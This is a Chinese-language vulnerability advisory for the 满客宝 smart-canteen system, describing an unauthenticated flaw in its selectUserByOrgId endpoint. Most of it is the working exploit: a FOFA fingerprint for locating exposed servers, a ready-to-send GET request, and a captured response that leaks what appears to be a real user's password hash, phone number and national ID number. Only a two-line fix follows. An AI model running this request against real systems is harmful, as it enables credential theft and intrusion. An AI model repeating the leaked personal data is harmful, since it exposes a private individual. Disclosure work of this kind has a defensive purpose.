

满客宝智慧食堂系统 selectUserByOrgId 未授权访问漏洞

漏洞描述

由于满客宝智慧食堂系统 selectUserByOrgId 接口处未进行权限控制，导致未经身份验证的远程攻击者可以未授权访问，泄露系统用户账号密码等信息，进一步破解即可登录系统后台，导致系统处于极不安全的状态。

影响版本

满客宝智慧食堂系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	中
攻击者价值	高
利用难度	低

漏洞复现

FOFA: icon_hash="-409875651"

POC/EXP:

GET /yuding/selectUserByOrgId.action?record= HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36

Connection: close

发送请求

强制 HTTPS

历史

生成

Request

数据包扫描 热加载 构造请求

1

GET /yuding/selectUserByOrgId.action?record= HTTP/1.1

2

Host:

3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36

4

Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8

5

Referer:

6

Accept-Encoding: gzip, deflate

7

Accept-Language: zh-CN,zh;q=0.9

8

9

Responses

超大响应 完整响应 详情

14

Content-Length: 2097191

15

16

17

18

{
 "success": true, "result": [
 {
 "acceptOrder": "", "address": "",
 "biaoqian": "", "cangkulist": [], "canteenIds": "",
 "canteenNames": "", "cardCode": "1073243320",
 "compId": "A9BE89A2-1458-4D0A-AFDC-B23F91C1C06D",
 "compLeader": "", "compName": "", "compViceLeader": "",
 "deleteMark": "", "deptId": "", "deptLeader": "", "deptName": "",
 "deptViceLeader": "", "erCanteenList": [], "erCode": 600075,
 "erRestaurant": null, "erWeiCode": "", "ipAddress": "",
 "iscanguai": "", "ismanager": "N", "laodongQiangdu": "",
 "leader": "", "lockTime": null, "loginStatus": "", "menulist":
 [], "nianling": 0, "operatorTime": {"date": 26, "day": 6,
 "hours": 14, "minutes": 28, "month": 7, "seconds": 6,
 "time": 150372886000, "timezoneOffset": -480, "year": 117},
 "orgExt_1": "", "orgExt_2": "", "orgExt_3": "", "orgExt_4": "",
 "password": "AF1CAC0C458EABC848F5BCEA95E3D274",
 "pinyinName": "glc", "realName": "", "remark": "",
 "restaurantId": "A9BE89A2-1458-4D0A-AFDC-B23F91C1C06D",
 "riDbz": 0, "riNengliang": 0, "riTshhw": 0, "riZf": 0,
 "roleId": "", "roleList": [], "roleName": "", "shengao": 0,
 "showOrder": 0, "state": "ACTIVE", "stateStringValue": "启用",
 "teamId": "", "teamLeader": "", "teamName": "",
 "teamViceLeader": "", "telephone": "13031881323",
 "templetMsgFlag": "", "tizhong": 0, "unlockTime": null,
 "userCode": "130302197412033918", "userExt_1": "",
 "userExt_2": "", "userExt_3": "", "userExt_4": "",
 "userExt_5": "",
 "userId": "10ECB498-835A-4586-ABA8-420157E2CE9F",
 "userTime": ""
 }
]
}

Tokenization is skipped for long lines for performance reasons. This can be configured by setting editor.maxTokenizationLineLength.

修复方案

1. 关闭互联网暴露面或接口设置访问权限
- 升级至安全版本